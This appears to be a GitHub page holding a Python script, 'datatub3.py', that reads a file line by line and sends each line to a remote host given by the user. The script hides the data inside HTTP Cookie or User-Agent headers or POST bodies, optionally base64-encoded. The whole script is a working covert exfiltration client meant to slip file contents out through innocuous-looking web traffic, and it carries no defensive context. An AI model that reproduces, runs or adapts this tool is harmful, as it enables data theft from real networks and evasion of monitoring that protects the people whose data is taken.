-
Notifications
You must be signed in to change notification settings - Fork 1
/
datatub3.py
148 lines (132 loc) · 4.49 KB
/
datatub3.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#!/usr/bin/python
#coding: utf-8
import requests
import argparse
import base64
def banner():
print (""" ____ _ _____ _ _____
| _ \ __ _| |_ __ |_ _| _| |__|___ /
| | | |/ _` | __/ _` || || | | | '_ \ |_ \
| |_| | (_| | || (_| || || |_| | |_) |__) |
|____/ \__,_|\__\__,_||_| \__,_|_.__/____/ """)
print ("\n")
banner()
parser = argparse.ArgumentParser(description = 'CLIENT LINUX')
parser.add_argument('-u',
dest = 'url',
required = True,
help = 'IP receive the Packet')
parser.add_argument('--cookie',
dest = 'Cookie',
help = 'Receive Text Clear inside Cookie')
parser.add_argument('--cookie-b64',
dest = 'CookieB64',
help = 'Receive base64 inside Cookie')
parser.add_argument('--useragent',
dest = 'UserAgent',
help = 'Receive Text Clear inside User-Agent')
parser.add_argument('--useragent-b64',
dest = 'UserAgentB64',
help = 'Receive base64 inside User-Agent')
parser.add_argument('--post',
dest = 'uRpost',
help = 'Receive Text Clear inside POST')
parser.add_argument('--post-b64',
dest = 'uRpostB64',
help = 'Receive base64 inside POST')
args = parser.parse_args()
def send_ua (url, UserAgent):
headers = {'user-agent': str(UserAgent)}
r = requests.get(url, headers=headers)
if r.status_code == 200:
print ("Houston, Server ON !!!")
print ("Packet delivered.")
else:
print ("Houston, We have a problem!")
print ("Server OFF !!!")
def send_uab64 (url, UserAgentB64):
b64 = base64.b64encode(UserAgentB64)
headers = {'user-agent': str(b64)}
r = requests.get(url, headers=headers)
if r.status_code == 200:
print ("Houston, Server ON !!!")
print ("Packet delivered.")
else:
print ("Houston, We have a problem!")
print ("Server OFF !!!")
def send_co (url, cookie_data):
cookie2 = {"cookie": cookie_data}
r = requests.get(url,cookies=cookie2)
if r.status_code == 200:
print ("Houston, Server ON !!!")
print ("Packet delivered.")
else:
print ("Houston, We have a problem!")
print ("Server OFF !!!")
def send_co64 (url, CookieB64):
b64 = base64.b64encode(CookieB64)
cookie2 = {"cookie": b64}
r = requests.get(url,cookies=cookie2)
if r.status_code == 200:
print ("Houston, Server ON !!!")
print ("Packet delivered.")
else:
print ("Houston, We have a problem!")
print ("Server OFF !!!")
def send_Post (url, uRpost):
headers = {'user-agent': 'Chrome/71.0.3578.98 Safari/537.36'}
r = requests.post(url, data=uRpost, headers=headers)
if r.status_code == 200:
print ("Houston, Server ON !!!")
print ("Packet delivered.")
else:
print ("Houston, We have a problem!")
print ("Server OFF !!!")
def send_Post64 (url, uRpostB64):
headers = {'user-agent': 'Chrome/71.0.3578.98 Safari/537.36'}
b = uRpostB64.encode("UTF-8")
data = base64.b64encode(b)
r = requests.post(url, headers=headers, data=data)
if r.status_code == 200:
print ("Houston, Server ON !!!")
print ("Packet delivered.")
else:
print ("Houston, We have a problem!")
print ("Server OFF !!!")
if __name__ == "__main__":
if args.Cookie:
with open(args.Cookie, "r+") as arq:
path = arq.readlines()
for i in path:
i = i.rstrip()
send_co(args.url,i)
elif args.CookieB64:
with open(args.CookieB64, "r+") as arq:
path = arq.readlines()
for j in path:
j = j.rstrip()
send_co64(args.url,j)
elif args.UserAgent:
with open(args.UserAgent, "r+") as arq:
path = arq.readlines()
for i in path:
i = i.rstrip()
send_ua(args.url,i)
elif args.UserAgentB64:
with open(args.UserAgentB64, "r+") as arq:
path = arq.readlines()
for j in path:
j = j.rstrip()
send_uab64(args.url,j)
elif args.uRpost:
with open(args.uRpost, "r+") as arq:
path = arq.readlines()
for i in path:
i = i.rstrip()
send_Post(args.url,i)
elif args.uRpostB64:
with open(args.uRpostB64, "r+") as arq:
path = arq.readlines()
for j in path:
j = j.rstrip()
send_Post64(args.url,j)